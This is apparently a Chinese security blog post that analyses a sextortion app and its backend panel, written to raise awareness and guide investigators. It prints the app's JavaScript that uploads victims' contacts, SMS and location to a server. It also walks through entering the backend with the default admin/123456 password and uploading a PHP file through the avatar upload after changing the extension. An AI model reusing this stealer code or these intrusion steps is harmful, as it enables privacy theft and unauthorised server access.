揭秘起底裸聊敲诈这一套 揭秘起底裸聊敲诈这一套

揭秘起底裸聊敲诈这一套


│   ├── bj.png
│   ├── src_images_but_dianz_n.png
│   ├── src_images_but_dianz_s.png
│   ├── src_images_but_guanb.png
│   ├── src_images_but_shouc_n.png
│   ├── src_images_but_shouc_s.png
│   ├── src_images_but_xiangj.png
│   ├── src_images_toux01.png
│   ├── src_images_toux02.png
│   ├── src_images_toux03.png
│   ├── src_images_toux04.png
│   ├── src_images_toux05.png
│   ├── src_images_toux06.png
│   └── src_images_toux07.png
├── index.html
├── js
│   ├── jq.js
│   └── mui.min.js
├── list.html
├── manifest.json
└── unpackage
    └── res
        └── icons
            ├── 1024x1024.png
            ├── 120x120.png
            ├── 144x144.png
            ├── 152x152.png
            ├── 167x167.png
            ├── 180x180.png
            ├── 192x192.png
            ├── 20x20.png
            ├── 29x29.png
            ├── 40x40.png
            ├── 58x58.png
            ├── 60x60.png
            ├── 72x72.png
            ├── 76x76.png
            ├── 80x80.png
            ├── 87x87.png
            └── 96x96.png

6 directories, 38 files

可以看到整个项目非常简单,就是一个简单的H5应用。使用了mui前端框架和Native.js for Android来调用安卓接口。

关键的功能代码集中在index.html中的js片段中:

image-20210804220550084

在代码中我们可以看到后台上传信息的api地址

image-20210804222128758

代码首先会通过方法getPermission()获取手机通讯录权限:

image-20210804224301704

等受害者赋予app权限后,只需要受害者在APP中填写手机号码和"女"用户提供的邀请码进行"注册",即可触发上传逻辑,将受害者的通讯录,短信,位置等隐私数据上传至后台.

image-20210804230626013

本来笔者以为此处的邀请码是随意填写的,结果在研究后台的时候发现,邀请码也会被上传至后台. 原来每名实施敲诈的犯罪分子的邀请码是唯一的,在犯罪团伙中以该邀请码为凭据来计算"业绩"。

不得不说,这帮犯罪分子还真把这个当生意做了。由此也可以想象存在相当数量较大规模的团伙.

部分关键代码:

上传受害者个人隐私信息的代码主要是如下几个方法实现:

//参数sjh为受害者手机号,yqm为受害者填写的邀请码
function dingwei(sjh, yqm)//上传受害者定位信息
function huoqu(sjh, yqm)//上传受害者通讯录 
function requestPermission(sjh, yqm)//上传受害者短信
....

我们以上传受害者通讯录的方法为例:

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {
    addressbook.find(["displayName", "phoneNumbers"], function (contacts) {
for (var i = 0, len = contacts.length; i < len; i++) {
            con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
        }

        mui.ajax(apiserver + 'api', {
            data: {
                data: con
            },
            dataType: 'text', //服务器返回json格式数据
            type: 'post', //HTTP请求类型
            timeout: 10000, //超时时间设置为10秒;
            success: function (data) {
                    //alert(data)
                    if (data == '正在加载列表') {
                        dingwei(sjh, yqm);
                        mui.openWindow({
                            url: 'list.html',
                            show: {
                                autoShow: true
                            }
                        });
                    } else {
                        mui.toast(data)
                    }
                    //console.log(con)
                },
                error: function (xhr, type, errorThrown) {
                    //异常处理;


                }
        });



    }, function () {
        mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
    }, {
        multiple: true
    });
}, function (e) {
    mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}

});

方法首先调用接口获取了手机通讯录:

plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {
    addressbook.find(["displayName", "phoneNumbers"], function (contacts) {

        }

然后将通讯录中的所有数据以明文方式转储在一个字符串变量con中:

con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);

变量con中储存的通讯录数据形式如下例:

con='受害人手机号**邀请码**定位=132****1834|oriole=198****2231|刘总=133****2135|妈妈=176****4491|爸爸=157****5893|老婆=186****2842|王老师=135****8881|物业张=198****6352|公司zzHR=158****6631|孙总=138****4423|李经理=186****3555|大佬郑=176****2232|孙胜男=132****1231|叶冠群'

最后再将明文储存的数据异步上传至后台,同时还启动了上传位置的逻辑:

mui.ajax(apiserver + 'api', {
            data: {
                data: con
            },
            dataType: 'text', //服务器返回json格式数据
            type: 'post', //HTTP请求类型
            timeout: 10000, //超时时间设置为10秒;
            success: function (data) {
                    //alert(data)
                    if (data == '正在加载列表') {
                        dingwei(sjh, yqm);
                        mui.openWindow({
                            url: 'list.html',
                            show: {
                                autoShow: true
                            }
                        });
                    } else {
                        mui.toast(data)
               ....

至于目标url,后台的API地址apiserver是在这段js开头就定义好的:

var apiserver = 'http://114.**.**.12/api/uploads/';

同时可以得知上传通讯录数据的API地址是/api/uploads/api

其他一些功能的API地址是:

上传短信: /api/uploads/api/apisms
上传定位: /api/uploads/api/apimap
....

"后端":数据上传后台

现在"黑产圈子"里用的比较多的后台是叫一个"完美通讯录"的后台网站,也叫"APPV1"版通讯录,也有自己修改以后叫"xxx通讯录"的.现在还有什么"完美通讯录VIP通讯录",版本花样很多.功能也不尽相同,有的能查看相册内容,有的甚至已经可以远控.但是万变不离其宗,完美通讯这个站是各种版本的根源。

以上的认识是笔者从有限的研究和资料中所下的结论,由于并不涉足,也没有什么网络犯罪调查的经验,所以在见识上要短很多,还请各位大佬指教。

image-20210806234942745

后台站是基于thinkphp5.0.24二次开发的一款小众cms: tplay.环境就是简单的NGINX+PHP+MySQL,大部分都基于宝塔且开启了伪静态。

访问/admin/common/login.shtml可进入登录页面,后台站的管理员账户admin默认密码是123456。

此站为测试学习使用且搭建在内网环境中,切勿尝试,触犯法律。

image-20210807222654180

在左侧菜单栏的查看通讯录数据中能够浏览受害者隐私信息上传的情况

image-20210807223015558

在设备查看一栏中可以看到所有的受害者设备:

image-20210807223129876

可以看到在此处能够查看其所在位置、通讯录、短信等等,这些信息也可以直接下载。大部分情况犯罪分子会把这些数据下载下来再进行勒索。

在线定位的功能,是通过手机自身定位后上传的位置信息,因而非常精确。这里不做展示,查看通讯录功能可以完整查看受害者的通讯录信息,包含姓名、电话以及往来短信。

image-20210807224018627

受害者手机内的所有短信也同样会被上传:

image-20210807224243701

部分关键代码

分析过前端代码时我们可以看到,后门APP通过后台API接口明文上传了受害者的隐私信息,这在后台的PHP代码中可以找到对应的代码逻辑部分。所有的关键功能都集中在app/api/controller/Uploads.php中:

image-20210807231154865

读取通讯录的代码片段:

else{
					$co = $this->getip($ip);
                 	$ipdz = $co;
					$regdata = array('name'=>$aaa[0],'code'=>$aaa[1],'clientid'=>$aaa[2],'login_time'=>$time,'ip'=>$ip,'ipdz'=>$ipdz);
					$userid = db('user')->insertGetId($regdata);
					if($userid){
						if(count($a) != 0) {
							foreach ($a as $k => $v) {
								if ($k>0){
								$b=explode('|',$v);
								$arr['userid'] = $userid;
								$arr['username'] = $b[0];
								$arr['umobile'] = $b[1];
								$arr['addtime'] = $time;
								$res[] = $arr;
								}
							};
							$nums = 100;
							$limit = ceil(count($res)/$nums);
							for ($i=1;$i<=$limit;$i++) {
								$offset=($i-1)*$nums;
								$data=array_slice($res,$offset,$nums);
								$result=db('mobile')->insertAll($data);
							};	
....

以上代码实现对受害者上传的通信录进行解析并将其储存进数据库.逻辑比较简单,就是用=等号分割通讯录联系人信息,每个联系人信息用|分隔开联系人姓名和手机号码。然后插入数据库中。

讲一句题外话,写这个站的人水平真的很一般,用这种奇怪的格式明文传送数据就算了,变量名竟然还用$a和$b此类,可见不是什么正经之流。

初步侦查的思路

获取后门APP样本,分析流量获取后台地址

首先受害者的手机上一般是还存在后门APP或者下载渠道的,第一时间应该还是获取APP样本。

建议不必先对APP进行逆向分析,因为一是APP只是一个简单的H5应用,没有逆向的必要,再一个APP中最有价值的线索是后台地址,为了免杀,做APP的团队对代码一定是由混淆的。这一点几乎是可以肯定的,而后台地址我们最方便的方式是对APP抓一个包,且APP与服务器后台通讯是明文的,走的是HTTP,我们可以轻而易举获取后台地址等等有价值信息。

不建议安装在模拟器上进行抓包分析,模拟器一般是没有通讯录这一部分的,APP尚未发起连接就会因为在获取通讯录时报错退出。建议平时准备一个测试机,在测试机器上进行抓包,分析流量。 这个APP不走代理,直接使用我们常用的抓包工具即可。比如抓包精灵,Fiddler,Tcpdump等等。IOS上可以使用Stream(APPStore), Charles等等。如何抓包在此不题。

获取服务器后台地址后进行渗透

衤果聊后台的这一套源码当初在设计的时候就把管理员admin密码默认设置成123456。犯罪分子安全意识比较"差",很多平台都是不改的。如果运气好碰到没改密码的,我们可以直接进后台。

如果能进后台,后面的事情就非常简单。在系统->设置->网站设置中可以修改上传文件限制:

image-20210808001232634

作者如此慷慨,我们当然要把php加进去了。

上传点在上传头像的地方,还是在系统中,在个人->个人信息,可以修改头像,通过此处随便传个phpinfo先。

image-20210808001606909

因为有这里有layui的前端限制,还不能直接传php文件,用bp抓个包修改一下后缀名就行。

image-20210808164128039

上传成功:

image-20210808165320625

如果平台修改了弱密码,那难度就比较大了,由于thinkphp版本是5.0.24,正好是thinkphp系列中比较安全的一个版本。此时可以尝试找一找旁站,有很多案例显示犯罪团伙不止搞"衤果聊"一套"业务",在同一个服务器上可能搭建了多种诈骗网站,可以扫一扫看一看有没有其他的点。

后话

写这篇文章的目的也是希望让更多人知道衤果聊诈骗的套路,搞安全的咱不要玩鹰的让鹰啄了眼睛,单身不要紧,一定要忍受住诱惑。很多时候平时能看穿的套路一旦有欲望的加持,理性会迅速变得廉价。

再一个如果真的哪位兄弟或兄弟的兄弟有一天遭受此劫,笔者建议一分钱都不要转。虽然对方敲诈的语言非常令人恐惧,但是笔者曾经咨询过一些民警,绝大部分的情况犯罪分子并没有发送带有受害者不雅视频的链接,因为站在犯罪分子的时间成本角度讲,有花钱给你发彩信的时间,不如去敲诈下一个。"业务"是很繁忙的,不要以为很多人围着你一个人敲诈,大部分情况你只是今天的众多受害者之一。最好的方法就是马上脱离接触,一刀切总比钝刀子割肉要强。

最后如果有需要审审源码,进一步研究的,可以私信笔者获取源码,但是只限于研究学习使用,千万不要试图做什么违法之事。正义可能会迟到,但永远不会缺席。

评论 0

sitemap